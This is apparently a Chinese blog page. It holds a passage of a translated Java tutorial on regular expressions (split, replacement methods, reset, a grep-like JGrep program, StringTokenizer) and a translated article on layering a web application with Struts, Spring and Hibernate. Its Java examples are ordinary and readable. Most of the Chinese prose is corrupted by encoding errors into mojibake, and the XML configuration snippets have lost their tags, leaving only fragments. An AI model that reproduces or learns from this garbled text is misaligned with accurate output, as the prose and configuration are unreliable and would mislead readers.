�q�样创徏出来的正则表辑ּ��p��匚w��?java"�Q?Java"�Q?JAVA"...开头的字符串了。此外，如果字符串分好几行，那它�q�会�Ҏ(gu��)��一行做匚w��(匚w��始于字符序列的开始，�l�于字符序列当中的行�l�束�W?。注意，group( )�Ҏ(gu��)��仅返回匹配的部分�?/P>

split( )

所谓分割是指将以正则表辑ּ�为界�Q�将字符串分割成String数组�?/P>

String[] split(CharSequence charseq)
String[] split(CharSequence charseq, int limit)

�q�是一�U�既快又方便地将文本�Ҏ(gu��)��一些常见的边界标志分割开来的�Ҏ(gu��)��?/P>

//: c12:SplitDemo.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
import java.util.*;
public class SplitDemo {
  private static Test monitor = new Test();
  public static void main(String[] args) {
    String input =
      "This!!unusual use!!of exclamation!!points";
    System.out.println(Arrays.asList(
      Pattern.compile("!!").split(input)));
    // Only do the first three:
    System.out.println(Arrays.asList(
      Pattern.compile("!!").split(input, 3)));
    System.out.println(Arrays.asList(
      "Aha! String has a split() built in!".split(" ")));
    monitor.expect(new String[] {
      "[This, unusual use, of exclamation, points]",
      "[This, unusual use, of exclamation!!points]",
      "[Aha!, String, has, a, split(), built, in!]"
    });
  }
} ///:~

�W�二�?SPAN class=original_words>split( )会限定分割的�ơ数�?/P>

正则表达式是如此重要�Q�以至于有些功能被加�q�了String�c�，其中包括split( )(已经看到�?�Q?SPAN class=original_words>matches( )�Q?SPAN class=original_words>replaceFirst( )以及replaceAll( )。这些方法的功能�?SPAN class=original_words>Pattern�?SPAN class=original_words>Matcher的相同�?

替换操作

正则表达式在替换文本斚w��特别在行。下面就是一些方法：

replaceFirst(String replacement)��字�W�串里，�W�一个与模式相匹配的子串替换�?SPAN class=original_words>replacement�?

replaceAll(String replacement)�Q�将输入字符串里所有与模式相匹配的子串全部替换�?SPAN class=original_words>replacement�?/P>

appendReplacement(StringBuffer sbuf, String replacement)�?SPAN class=original_words>sbuf�q�行逐次替换�Q�而不是像replaceFirst( )�?SPAN class=original_words>replaceAll( )那样�Q�只替换�W�一个或全部子串。这是个非常重要的方法，因�ؓ它可以调用方法来生成replacement(replaceFirst( )�?SPAN class=original_words>replaceAll( )只允许用固定的字�W�串来充�?SPAN class=original_words>replacement)。有了这个方法，你就可以�~�程区分group�Q�从而实现更强大的替换功能�?/P>

调用�?SPAN class=original_words>appendReplacement( )之后�Q��ؓ了把剩余的字�W�串拯��回去�Q�必��调�?SPAN class=original_words>appendTail(StringBuffer sbuf, String replacement)�?

下面我们来演�C�Z��下怎样使用�q�些替换�Ҏ(gu��)��。说明一下，�q�段�E�序所处理的字�W�串是它自己开头部分的注释�Q�是用正则表辑ּ�提取出来�q�加以处理之后再传给替换�Ҏ(gu��)��的�?/P>

//: c12:TheReplacements.java
import java.util.regex.*;
import java.io.*;
import com.bruceeckel.util.*;
import com.bruceeckel.simpletest.*;
/*! Here's a block of text to use as input to
    the regular expression matcher. Note that we'll
    first extract the block of text by looking for
    the special delimiters, then process the
    extracted block. !*/
public class TheReplacements {
  private static Test monitor = new Test();
  public static void main(String[] args) throws Exception {
    String s = TextFile.read("TheReplacements.java");
    // Match the specially-commented block of text above:
    Matcher mInput =
      Pattern.compile("/\\*!(.*)!\\*/", Pattern.DOTALL)
        .matcher(s);
    if(mInput.find())
      s = mInput.group(1); // Captured by parentheses
    // Replace two or more spaces with a single space:
    s = s.replaceAll(" {2,}", " ");
    // Replace one or more spaces at the beginning of each
    // line with no spaces. Must enable MULTILINE mode:
    s = s.replaceAll("(?m)^ +", "");
    System.out.println(s);
    s = s.replaceFirst("[aeiou]", "(VOWEL1)");
    StringBuffer sbuf = new StringBuffer();
    Pattern p = Pattern.compile("[aeiou]");
    Matcher m = p.matcher(s);
    // Process the find information as you
    // perform the replacements:
    while(m.find())
      m.appendReplacement(sbuf, m.group().toUpperCase());
    // Put in the remainder of the text:
    m.appendTail(sbuf);
    System.out.println(sbuf);
    monitor.expect(new String[]{
      "Here's a block of text to use as input to",
      "the regular expression matcher. Note that we'll",
      "first extract the block of text by looking for",
      "the special delimiters, then process the",
      "extracted block. ",
      "H(VOWEL1)rE's A blOck Of tExt tO UsE As InpUt tO",
      "thE rEgUlAr ExprEssIOn mAtchEr. NOtE thAt wE'll",
      "fIrst ExtrAct thE blOck Of tExt by lOOkIng fOr",
      "thE spEcIAl dElImItErs, thEn prOcEss thE",
      "ExtrActEd blOck. "
    });
  }
} ///:~

我们用前面介�l�的TextFile.read( )�Ҏ(gu��)��来打开和读取文件�?SPAN class=original_words>mInput的功能是匚w��'/*!' �?'!*/' 之间的文�?注意一下分�l�用的括�?。接下来�Q�我们将所有两个以上的�q�箋�I�格全都替换成一个，�q�且��各行开头的�I�格全都��L��(��Z��让这个正则表辑ּ�能对所有的行，而不仅仅是第一行�v作用�Q�必��d��用多行模�?。这两个操作都用�?SPAN class=original_words>String�?SPAN class=original_words>replaceAll( )(�q�里用它更方�?。注意，�׃��每个替换只做一�ơ，因此除了预编�?SPAN class=original_words>Pattern之外�Q�程序没有额外的开销�?/P>

replaceFirst( )只替换第一个子丌Ӏ�此外，replaceFirst( )�?SPAN class=original_words>replaceAll( )只能用常�?literal)来替换，所以如果你每次替换的时候还要进行一些操作的话，它们是无能�ؓ力的。碰到这�U�情况，你得�?SPAN class=original_words>appendReplacement( )�Q�它能让你在�q�行替换的时候想写多��代码就写多��。在上面那段�E�序里，创徏sbuf的过�E�就是选group做处理，也就是用正则表达式把元音字母扑և�来，然后换成大写的过�E�。通常你得在完成全部的替换之后才调�?SPAN class=original_words>appendTail( )�Q�但是如果要模仿replaceFirst( )(�?replace n")的效果，你也可以只替换一�ơ就调用appendTail( )。它会把剩下的东西全都放�q?SPAN class=original_words>sbuf�?/P>

你还可以�?SPAN class=original_words>appendReplacement( )�?SPAN class=original_words>replacement参数里用"$g"引用已捕��L��group�Q�其�?g' 表示group的号码。不�q�这是�ؓ一些比较简单的操作准备的，因而其效果无法与上�q�程序相比�?/P>

reset( )

此外�Q�还可以�?SPAN class=original_words>reset( )�Ҏ(gu��)��l�现有的Matcher对象配上个新�?SPAN class=original_words>CharSequence�?/P>

//: c12:Resetting.java
import java.util.regex.*;
import java.io.*;
import com.bruceeckel.simpletest.*;
public class Resetting {
  private static Test monitor = new Test();
  public static void main(String[] args) throws Exception {
    Matcher m = Pattern.compile("[frb][aiu][gx]")
      .matcher("fix the rug with bags");
    while(m.find())
      System.out.println(m.group());
    m.reset("fix the rig with rags");
    while(m.find())
      System.out.println(m.group());
    monitor.expect(new String[]{
      "fix",
      "rug",
      "bag",
      "fix",
      "rig",
      "rag"
    });
  }
} ///:~

如果不给参数�Q?SPAN class=original_words>reset( )会把Matcher讑ֈ�当前字符串的开始处�?/P>

正则表达式与Java I/O

到目前�ؓ止，你看到的都是用正则表辑ּ�处理静态字�W�串的例子。下面我们来演示一下怎样用正则表辑ּ�扫描文�g�q�且扑և�匚w��的字�W�串。受Unix的grep启发�Q�我写了�?SPAN class=original_words>JGrep.java�Q�它需要两个参敎ͼ�文�g名，以及匚w��字符串用的正则表辑ּ�。它会把匚w��q�个正则表达式那部分内容及其所属行的行��h��印出来�?/P>

//: c12:JGrep.java
// A very simple version of the "grep" program.
// {Args: JGrep.java "\\b[Ssct]\\w+"}
import java.io.*;
import java.util.regex.*;
import java.util.*;
import com.bruceeckel.util.*;
public class JGrep {
  public static void main(String[] args) throws Exception {
    if(args.length < 2) {
      System.out.println("Usage: java JGrep file regex");
      System.exit(0);
    }
    Pattern p = Pattern.compile(args[1]);
    // Iterate through the lines of the input file:
    ListIterator it = new TextFile(args[0]).listIterator();
    while(it.hasNext()) {
      Matcher m = p.matcher((String)it.next());
      while(m.find())
        System.out.println(it.nextIndex() + ": " +
          m.group() + ": " + m.start());
    }
  }
} ///:~

文�g是用TextFile打开�?本章的前半部分讲�?。由�?SPAN class=original_words>TextFile会把文�g的各行放�?SPAN class=original_words>ArrayList里面�Q�而我们又提取了一�?SPAN class=original_words>ListIterator�Q�因此我们可以在文�g的各行当中自��q��?既能向前也可以向�?�?

每行都会有一�?SPAN class=original_words>Matcher�Q�然后用find( )扫描。注意，我们�?SPAN class=original_words>ListIterator.nextIndex( )跟踪行号�?

��试参数�?SPAN class=original_words>JGrep.java和以[Ssct]开头的单词�?/P>

�q�需要StringTokenizer�?

看到正则表达式能提供�q�么强大的功能，你可能会怀疑，是不是还需要原先的StringTokenizer。JDK 1.4以前�Q�要惛_��割字�W�串�Q�只有用StringTokenizer。但现在�Q�有了正则表辑ּ�之后�Q�它?y��u)��p��做得更干净利烦了�?/P>

//: c12:ReplacingStringTokenizer.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
import java.util.*;
public class ReplacingStringTokenizer {
  private static Test monitor = new Test();
  public static void main(String[] args) {
    String input = "But I'm not dead yet! I feel happy!";
    StringTokenizer stoke = new StringTokenizer(input);
    while(stoke.hasMoreElements())
      System.out.println(stoke.nextToken());
    System.out.println(Arrays.asList(input.split(" ")));
    monitor.expect(new String[] {
      "But",
      "I'm",
      "not",
      "dead",
      "yet!",
      "I",
      "feel",
      "happy!",
      "[But, I'm, not, dead, yet!, I, feel, happy!]"
    });
  }
} ///:~

有了正则表达式，你就能用更复杂的模式��字�W�串分割开来——要是交�l?SPAN class=original_words>StringTokenizer的话�Q�事情会�ȝ��得多。我可以很有把握地说�Q�正则表辑ּ�可以取代StringTokenizer�?

要想�q�一步学习正则表辑ּ��Q�徏议你�?CITE>Mastering Regular Expression, 2nd Edition�Q�作者Jeffrey E. F. Friedl (O’Reilly, 2002)�?/P>

�ȝ��

Java的I/O��类库应该能满��你的基本需求：你可以用它来��d��控制収ͼ�文�g�Q�内存，甚至是Internet。你�q�可以利用��承来创徏新的输入和输出类型。你甚至可以利用Java会自动调用对象的toString( )�Ҏ(gu��)��的特�?Java仅有�?自动�c�d��转换")�Q�通过重新定义�q�个�Ҏ(gu��)��Q�来对要传给��的对象做一个简单的扩展�?/P>

但是Java的I/O��类库及其文档还是留下了一些缺憾。比方说你打开一个文件往里面写东西，但是�q�个文�g已经有了�Q�这么做会把原先的内容给覆盖�?。这时要是能有一个异常就好了——有些编�E�语�a�能让你规定只能往新徏的文仉��输出。看来Java是要你用File对象来判断文件是否存在，因�ؓ如果你用FileOutputStream�?SPAN class=original_words>FileWriter的话�Q�文件就会被覆盖了�?/P>

我对I/O��类库的评�h(hu��n)是比较矛盄��Q�它��实能干很多事情�Q�而且做到了跨�q�_��。但是如果你不懂decorator模式�Q�就会觉得这�U�设计太隄��解了�Q�所以无论是对老师�q�是学生�Q�都得多��q��力。此外这个类库也不完��_��否则我也用不着��d��TextFile了。此外它没有提供格式化输出的功能�Q�而其他语�a�都已�l�提供了�q�种功能�?/P>

但是�Q�一旦你真正理解了decorator模式�Q��ƈ且能开始灵�z�运用这个类库的时候，你就能感受到�q�种设计的好处了。这时多写几行代码就��不了什么了�?

如果你觉得不解��(f��)(本章只是做个介绍�Q�没惌��面面俱到)�Q�可以去看Elliotte Rusty Harold 写的Java I/O (O’Reilly, 1999)。这本书讲得更深�?/P>

frankboy 2005-12-27 23:18 发表评论

struts+spring+hibernate

frankboy — Tue, 27 Dec 2005 15:15:00 GMT

使用struts+spring+hibernate�l�装你的web应用架构

      其实�Q�就��用Java建造一个不是很烦琐的web应用�Q�也不是件轻杄��事情�?在构架的一开始就有很多事情要考虑。从高处看，摆在开发者面前有很多问题�Q�要考虑是怎样建立用户接口�Q�在哪里处理业务逻辑�Q?怎样持久化的数据。而这三层构架中，每一层都有他们要仔细考虑的�?各个层该使用什么技术？怎样的设计能松散耦合�q�能灉|��改变�Q�怎样替换某个层而不影响整体构架�Q�应用程序如何做各种�U�别的业务处理（比如事务处理�Q�？

      构架一个Web应用需要弄明白好多问题�?�q�运的是�Q�已�l�有不少开发者已�l�遇到过�q�类问题�Q��ƈ且徏立了处理�q�类问题的框架。一个好框架具备以下几点�Q?减轻开发者处理复杂的问题的负担（"不重复发明轮�?�Q�；内部有良好的扩展�Q?�q�且有一个支持它的强大的用户团体。好的构架一般有针对性的处理某一�c�问题，�q�且能将它做好（Do One Thing well�Q�。然而，你的�E�序中有几个层可能需要��用特定的框架�Q�已�l�完成的UI(用户接口) �q�不代表你也可以把你的业务逻辑和持久逻辑偶合��C��的UI部分。�D个例子，你不该在一个Controller(控制�?里面写JDBC代码作�ؓ你的业务逻辑�Q?�q�不是控制器应该提供的�?一个UI 控制器应该委�z��其它�l�在UI范围之外的轻量��l��g�?好的框架应该能指��g��码如何分布。更重要的是�Q�框架能把开发者从�~�码中解攑և�来，使他们能专心于应用程序的逻辑�Q�这对客��h��说很重要�Q��?

      �q�篇文章��讨论怎样�l�合几种著名的框架来使得你的应用�E�序做到村ּ�耦合�?
如何建立你的架构�Q��ƈ且怎样让你的各个应用层保持一致。？如何整合框架以便让每个层在以一�U�松散偶合的方式彼此作用而不用管低层的技术细节？�q�对我们来说真是一�U�挑战�?�q�里讨论一个整合框架的�{�略( 使用3 �U�受�Ƣ迎的开源框�? �Q�表�C�层我们用Struts�Q�业务层我们用Spring�Q�而持久层则用Hibernate�?你也可以用其他FrameWork替换只要能得到同��L��效果�?见图1 �Q�框架组合示意图�Q?

应用�E�序的分�?/SPAN>

大部分的Web应用在职责上臛_��能被分成4层。这四层是：presentation�Q�描�q�ͼ��Q�persistence�Q�持久）�Q�business�Q�业务）和domain model�Q�域模块�Q�。每个层在处理程序上都应该有一��Ҏ(gu��)��的责�Q, 而不应该在功能上与其它层混合�Q��ƈ且每个层要与其它层分开的，但要�l�他们之间放一个通信接口。我们就从介�l�各个层开始，讨论一下这些层应该提供什么，不应该提供什么�?

表示�?The Presentation Layer)

一般来�Ԍ��一个典型的Web应用的的末端应该是表�C�层�?很多Java发者也理解Struts所提供的�?象业务逻辑之类的被打包到org.apache.struts.Action.�Q?因此�Q�我们很赞成使用Struts�q�样的框架�?

下面是Struts所负责的：

* ��理用户的请�?做出相应的响应�?

* 提供一个Controller ,委派调用业务逻辑和其它上层处理�?

* 处理异常�Q�抛�l�Struts Action

* 为显�C�提供一个模�?

* UI验证�?

以下条款�Q�不该在Struts昄��层的�~�码中经常出现�?它们与显�C�层无关的�?

* 直接的与数据库通信�Q�例如JDBC调用�?

* 与你应用�E�序相关联的业务逻辑以及校验�?

* 事物��理�?

在表�C�层引入�q�些代码�Q�则会带来高偶合和麻烦的�l�护�?

持久�?The Persistence Layer)

典型的Web应用的另一个末端是持久层。这里通常是程序最�Ҏ(gu��)��失控的地斏V��开发者��L��低估构徏他们自己的持久框架的挑战性。系�l�内部的持箋层不但需要大量调试时��_��而且�q�经常缺��功能��之变得难以控�Ӟ��q�是持久层的通病。还好有几个ORM开源框架很好的解决了这�c�问题。尤其是Hibernate�?Hibernate为java提供了OR持久化机制和查询服务, 它还�l�已�l�熟�(zh��n)�SQL和JDBC API 的Java开发者一个学习桥梁，他们学习��h��很方�ѝ�?Hibernate的持久对象是��Z��POJO和Java collections。此外，使用Hibernate�q�不妨碍你正在��用的IDE�?

��L��下面的条目，你在持久层编码中需要了解的�?

* 查询对象的相关信息的语句�?Hibernate通过一个OO查询语言�Q�HQL�Q�或者正则表辄��API来完成查询�?HQL非常�c�M��于SQL-- 只是把SQL里的table和columns用Object和它的fields代替�?你需要学习一些新的HQL语言�Q�不��怎样�Q�他们容易理解而文档也做的很好�?HQL是一�U�对象查询的自然语言�Q�花很小的代价就能学习它�?

* 如何存储�Q�更斎ͼ�删除数据库记录�?

* 象Hibernate�q�类的高�U�ORM框架支持大部分主��数据库�Q��ƈ且他们支�?Parent/child关系�Q�事物处理，�l�承和多态�?

业务层（The Business Layer�Q?/SPAN>

一个典型Web应用的中间部分是业务层或者服务层�?从编码的视角来看�Q�这层是最�Ҏ(gu��)��被忽视的一层。而我们却往往在UI层或持久层周围看到这些业务处理的代码�Q�这其实是不正确的，因�ؓ它导致了�E�序代码的紧密偶合，�q�样一来，随着旉��推移�q�些代码很难�l�护。幸好，针对�q�一问题有好几种Frameworks存在�?最受欢�q�的两个框架是Spring和PicoContainer。这些�ؓ也被�U�Cؓmicrocontainers�Q�他们能让你很好的把对象搭配��h��?�q�两个框枉��着手于‘依赖注��?(dependency injection)(�q�有我们知道的‘控制反�?Inversion of Control=IoC)�q�样的简单概��c��这��文章将��x��于Spring的注��（译注�Q�通过一个给定参数的Setter�Ҏ(gu��)��来构造Bean,有所不同于Factory�Q? Spring�q�提供了Setter Injection(type2)�Q�Constructor Injection(type3)�{�方式供我们选择�?Spring把程序中所涉及到包含业务逻辑和Dao的Objects——例如transaction management handler�Q�事物管理控�Ӟ��、Object Factoris(对象工厂)、service objects�Q�服务组�Ӟ��——都通过XML来配�|�联�p��v来�?

后面我们会�D个例子来揭示一下Spring 是怎样�q�用�q�些概念�?

业务层所负责的如下：

* 处理应用�E�序�?业务逻辑和业务校�?

* ��理事物

* 允许与其它层�怺�作用的接�?

* ��理业务层��别的对象的依赖�?

* 在显�C�层和持久层之间增加了一个灵�zȝ��机制�Q��得他们不直接的联�p�d��一赗��?

* 通过揭示从显�C�层��C��务层之间的Context来得到business services�?

* ��理�E�序的执行（从业务层到持久层�Q��?

域模块层�Q�The Domain Model Layer �Q?/SPAN>
既然我们致力于的是一个不是很复杂的Web的应用，我们需要一个对象集合，让它在不同层之间�U�d��的�?域模块层由实际需求中的业务对象组成比�? OrderLineItem , Product�{�等�?开发者在�q�层不用��那些DTOs�Q�仅��x��domain object卛_��。例如，Hibernate允许你将数据库中的信息存攑օ�对象�Q�domain objects�Q�，�q�样你可以在�q�接断开的情况下把这些数据显�C�到UI层。而那些对象也可以�q�回�l�持�l�层�Q�从而在数据库里更新。而且�Q�你不必把对象�{化成DTOs�Q�这可能似的它在不同层之间的在传输过�E�中丢失�Q�，�q�个模型使得Java开发者能很自然运用OO�Q�而不需要附加的�~�码�?

一个简单例�?

既然我们已经从全局上理解这些组件�?现在��p��我们开始实践吧�?我们�q�是�?Struts�Q�Spring 和Hibernate。这三个框架已经被描�q�够多了�Q�这里就不重复介�l�了�?�q�篇文章举例指导你如何��用这三个框架整合开�? �q�向你揭�C�Z��个请求是如何贯穿于各个层的。（从用��L��加入一个Order到数据库�Q�显�C�；�q�而更新、删除）�?

从这里可以下载到�E�序�E�序原代码（download�Q?

既然每个层是互相作用的，我们��先来创建domain objects。首先，我们要在�q�些Object中要��定那些是需要持久化的，哪些是提供给business logic�Q�那些是昄��接口的设计。下一步，我们��配�|�我们的持久层�ƈ且定义好Hibernate的OR mappings。然后定义好Business Objects。有了这些组成部分之后，我们��?使用Spring把这些连接�v来。最后，我们提供�l�Spring一个持久层�Q�从�q�个持久层里我们可以知道它是如何与业务逻辑层（business service layer�Q�通信的，以及它是怎样处理其他层抛出的异常的。�?

域对象层�Q�Domain Object Layer�Q?/SPAN>

�q�层是编码的着手点�Q�我们的�~�码��׃��q�层开始�?例子中Order 与OrderItem 是一个One—To—Many的关�p�R�?下面��是Domain Object Layer的两个对象：

· com.meagle.bo.Order.java: 包含了一个Order的概要信�?

· com.meagle.bo.OrderLineItem.java: 包含了Order的详�l�信�?

好好考虑怎你的package命名,�q�反应出了你是怎样分层的�?例如 domain objects在程序中可能打包在com.meagle.bo内�?更详�l�一点将打包在com. meagle.bo的子目录下面。business logic应该从com.meagle.serice开始打包，而DAO 对象应该位于com.meagle.service.dao.hibernate。反应Forms和Actions的持久对象（presentation classes�Q?应该分别攑֜� com.meagle.action和com.meagle.forms包。准��的�l�包命名使得你的classes很好分割�q�且易于�l�护�Q��ƈ且在你添加新的classes�Ӟ��能��得程序结构上保持上下一致�?

持久层的配置�Q�Persistence Layer Configuration�Q?/SPAN>

建立Hibernate的持久层需要好几个步骤�?�W�一步让我们把BO持久化�?既然Hibernate是通过POJO工作的，因此Order�?OrderLineItem对象需要给所有的fileds 加上getter,setter�Ҏ(gu��)��?Hibernate通过XML文�g来映��?OR)对象�Q�以下两个xml文�g分别映射了Order 和OrderItem对象。（�q�里有个叫XDoclet工具可以自动生成你的XML影射文�g�Q?

- Order.hbm.xml
- OrderLineItem.hbm.xml

你可以在WebContent/WEB-INF/classes/com/meagle/bo目录下找到这些xml文�g。Hibernate�?[urlhttp://www.hibernate.org/hib_docs/api/net/sf/hibernate/SessionFactory.html]SessionFactory [/url]是用来告诉程�?应该与哪个数据库通信�Q�该使用哪个�q�接池或使用了DataSource�Q?应该加蝲哪些持久对象。�?A target=_blank rel=nofollow>Session接口是用来完成Selecting�Q�Saving�Q�Delete和Updating�q�些操作�?后面的我们将讲述SessionFactory和Session是怎样讄��的�?

业务层的配置�Q�Business Layer Configuration�Q?/SPAN>

既然我们已经有了domain objects�Q�接下来我们��p��business service objects了，用他们来执行�E�序的logic,调用持久层，得到UI层的requests,处理transactions�Q��ƈ且控�?exceptions�?��Z��这些连接�v来�ƈ且易于管理，我们��用面向方面的 SpringFramework�?Spring 提供了控制倒置�Q�inversion of control 0==IoC)和注��依赖设�|�（setter dependency injection�Q�这些方式（可供选择�Q�，用XML文�g��对象连接�v来�?IoC是一个简单概念（它允�怸�个对象在上层接受其他对象的创建）�Q�用IoC�q�种方式让你的对象从创徏中释放了出来�Q�降低了偶合度�?

�q�里是一个没有��用IoC的对象创建的例子�Q�它有很高偶合度�?

�?2.没有使用 IoC. A 创徏�?B �?C

而这里是一个��用IoC的例子，�q�种方式允许对象在高层可以创建�ƈ�q�入另外一个对象，所以这样可以直接被执行�?

�?3. 对象使用�?IoC�?A 包含了接受B,C�?setter�Ҏ(gu��)�� , �q�同栯��C�� 由A创徏B,C的目的�?/SPAN>

建立我们的业务服务对象（Building Our Business Service Objects�Q?

Business Object中的Setter�Ҏ(gu��)��接受的是接口�Q�这��h��们可以很松散的定义对象实玎ͼ�然后注入。在我们的案例中�Q�我们将用一个business service object接收一个DAO,用它来控制domain objects的持久化。由于在�q�个例子中��用了Hibernate�Q�我们可以很方便的用其他持久框架实现同时通知Spring 有新的DAO可以使用了�?

在面向接口的�~�程中，你会明白 "注射依赖"模式是怎样松散耦合你的业务逻辑和持久机制的�Q�）�?

下面是一个接口business service object�Q�DAO代码片段�Q?

代码:

public interface IOrderService {

public abstract Order saveNewOrder(Order order)

throws OrderException,

OrderMinimumAmountException;

public abstract List findOrderByUser(

String user)

throws OrderException;

public abstract Order findOrderById(int id)

throws OrderException;

public abstract void setOrderDAO(

IOrderDAO orderDAO);

}

注意到这�D�代码里有一�?setOrderDao�Q�）�Q�它?y��u)��是一个DAO Object讄��Ҏ(gu��)��Q�注��器�Q�。但�q�里�q�没有一个getOrderDao的方法，�q�不必要�Q�因��Z��q�不会在外部讉K��q�个orderDao。这个DAO Objecte��被调用�Q�和我们的persistence layer 通信。我们将用Spring把DAO Object �?business service object搭配��h��的。因为我们是面向接口�~�程的，所以�ƈ不需要将实现�cȝ��密的耦合在一赗��?

接下��L��们开始我们的DAO的实现类�q�行�~�码�?既然Spring已经有对Hibernate的支持，那这个例子就直接�l�承HibernateDaoSupport�c�M��Q�这个类很有用，我们可以参�?A target=_blank rel=nofollow>HibernateTemplate�Q�它主要是针对HibernateDaoSupport的一个用法，译注�Q�具体可以查�?A target=_blank rel=nofollow>Srping 的API�Q��?下面是这个DAO接口代码�Q?

代码:

public interface IOrderDAO {
public abstract Order findOrderById(
final int id);

public abstract List findOrdersPlaceByUser(
final String placedBy);
public abstract Order saveOrder(
final Order order);
}

我们仍然要给我们持久层组装很多关联的对象�Q�这里包含了HibernateSessionFactory 和TransactionManager�?Spring 提供了一�?HibernateTransactionManager�Q�他用线�E�捆�l�了一个Hibernate Session�Q�用它来支持transactions(��h��?A target=_blank rel=nofollow>ThreadLocal) �?

下面是HibernateSessionFactory �?HibernateTransactionManager:的配�|�：

代码:

class="org.springframework.orm.hibernate.
LocalSessionFactoryBean">

com/meagle/bo/Order.hbm.xml

com/meagle/bo/OrderLineItem.hbm.xml

net.sf.hibernate.dialect.MySQLDialect

false

C:/MyWebApps/.../WEB-INF/proxool.xml

spring

class="org.
springframework.
orm.
hibernate.
HibernateTransactionManager">

可以看出�Q�每个对象都可以在Spring 配置信息中用标签引用。在�q�里�Q�mySessionFactory引用了HibernateSessionFactory�Q��?myTransactionManager引用了HibernateTransactionManage。注意代码中myTransactionManger Bean有个sessionFactory属性�?HibernateTransactionManager有个sessionFactory setter �?getter�Ҏ(gu��)��Q�这是用来在Spring启动的时候实�?依赖注入" �Q�dependency injection�Q�的。在sessionFactory 属性里引用mySessionFactory。这两个对象在Spring容器初始化后��p��l�装了�v来了。这��L��搭配让你�?单例�Q�singleton objects�Q�和工厂�Q�factories�Q�中解放了出来，降低了代码的�l�护代�h(hu��n)�?mySessionFactory.的两个属性，分别是用来注入mappingResources �?hibernatePropertes的。通常�Q�如果你在Spring之外使用Hibernate,�q�样的设�|�应该放�?hibernate.cfg.xml中的。不��怎样,Spring提供了一个便��L��方式-----在Spring内部配置中�ƈ入了Hibernate的配�|�。如果要得到更多的信息，可以查阅Spring API�?

既然我们已经�l�装配置好了Service Beans�Q�就需要把Business Service Object�?DAO也组装�v来，�q�把�q�些对象配到一个事务管理器�Q�transaction manager�Q�里�?

在Spring中的配置信息�Q?

代码:

class="org.
springframework.
transaction.
interceptor.
TransactionProxyFactoryBean">

PROPAGATION_REQUIRED,readOnly,-OrderException

PROPAGATION_REQUIRED,-OrderException

class="com.
meagle.
service.
spring.
OrderServiceSpringImpl">

class="com.
meagle.
service.
dao.
hibernate.
OrderHibernateDAO">

�? 是我们对象搭建的一个提�U�Ӏ?从中可以看出�Q�每个对象都联系着Spring�Q��ƈ且能通过Spring注入到其他对象。把它与Spring的配�|�文件比较，观察他们之间的关�p?

�?4. Spring��是�q�样��Z��配置文�g�Q�将各个Bean搭徏在一赗��?/SPAN>

�q�个例子使用一个TransactionProxyFactoryBean�Q�它定义了一个setTransactionManager()。这对象很有用，他能很方便的处理你申明的事物�q�有Service Object。你可以通过transactionAttributes属性来定义怎样处理。想知道更多�q�是参考TransactionAttributeEditor吧�?

TransactionProxyFactoryBean �q�有个setter. �q�会被我�?Business service object�Q�orderTarget�Q�引用， orderTarget定义了业务服务层�Q��ƈ且它�q�有个属性，由setOrderDAO()引用。这个属�?

Spring 和Bean 的还有一点要注意的： bean可以以用两种方式创造。这些都在单例模式（Sington�Q�和原型模式�Q�propotype�Q�中定义了�?默认的方式是singleton,�q�意味着�׃�n的实例将被束�~�。而原形模式是在Spring用到bean的时候允许新建实例的。当每个用户需要得��C��们自己Bean的Copy�Ӟ��你应该仅使用prototype模式。（更多的请参考设计模式中的单例模式和原�Ş模式�Q?

提供一个服务定位器�Q�Providing a Service Locator�Q?/SPAN>
既然我们已经��我们的Serices和DAO搭配��h��了。我们需要把我们的Service昄��到其他层。这个通常是在Struts或者Swing�q�层里编码。一个简单方法就是用服务定位器返回给Spring context 。当�Ӟ��可以通过直接调用Spring中的Bean来做�?

下面是一个Struts Actin 中的服务定位器的一个例子�?

代码:

public abstract class BaseAction extends Action {

private IOrderService orderService;

public void setServlet(ActionServlet
actionServlet) {
super.setServlet(actionServlet);
ServletContext servletContext =
actionServlet.getServletContext();

WebApplicationContext wac =
WebApplicationContextUtils.
getRequiredWebApplicationContext(
servletContext);

this.orderService = (IOrderService)
wac.getBean("orderService");
}

protected IOrderService getOrderService() {
return orderService;
}
}

UI 层配�|?�Q�UI Layer Configuration�Q?/SPAN>

�q�个例子里UI�?使用了Struts framework. �q�里我们要讲�q�C��下在�l�程序分层的时候，哪些是和Struts部分的。我们就从一个Struts-config.xml文�g中的Action的配�|�信息开始吧�?

代码:

struts-config.xml file.

type="com.meagle.action.SaveOrderAction"
name="OrderForm"
scope="request"
validate="true"
input="/NewOrder.jsp">

Save New Order

path="/NewOrder.jsp"
scope="request"
type="com.meagle.exception.OrderException"/>
path="/NewOrder.jsp"
scope="request"
type="com.
meagle.
exception.
OrderMinimumAmountException"/>

SaveNewOrder �q�个Action是用来持久化UI层里的表单提交过来Order的。这是Struts中一个很典型的Action; 注意观察�q�个Action中exception配置�Q�这些Exceptions也在Spring 配置文�g(applicationContext-hibernate.xml)中配�|�了�Q�就�?business service object 的transactionAttributes属性里�Q��?当异常在业务层被被抛出时�Q�我们可以控制他们，�q��当的显�C�给UI层�?

�W�一个异常，OrderException,在持久层保存order对象��p�|的时候被触发。这��导致事物回滚�ƈ且通过BO把异常回传到Struts�q�一层�?

�W�二个异常，OrderMinimumAmountException也同�W�一个一栗��?

搭配整和的最后一�?通过是让你显�C�层和业务层相结合。这个已�l�被服务定位器（service locator�Q�实��C��Q�前面讨��了）�Q?�q�里服务层作��Z��个接口提供给我们的业务逻辑和持久层�?

SaveNewOrder Action 在Struts中用一个服务定位器�Q�service locator�Q�来调用执行业务�Ҏ(gu��)��的�?�Ҏ(gu��)��代码如下�Q?

代码:

public ActionForward execute(

ActionMapping mapping,

ActionForm form,

javax.servlet.http.HttpServletRequest request,

javax.servlet.http.HttpServletResponse response)

throws java.lang.Exception {

OrderForm oForm = (OrderForm) form;

// Use the form to build an Order object that

// can be saved in the persistence layer.

// See the full source code in the sample app.

// Obtain the wired business service object

// from the service locator configuration

// in BaseAction.

// Delegate the save to the service layer and

// further upstream to save the Order object.

getOrderService().saveNewOrder(order);

oForm.setOrder(order);

ActionMessages messages = new ActionMessages();

messages.add(

ActionMessages.GLOBAL_MESSAGE,

new ActionMessage(

"message.order.saved.successfully"));

saveMessages(request, messages);

return mapping.findForward("success");

}

�ȝ��

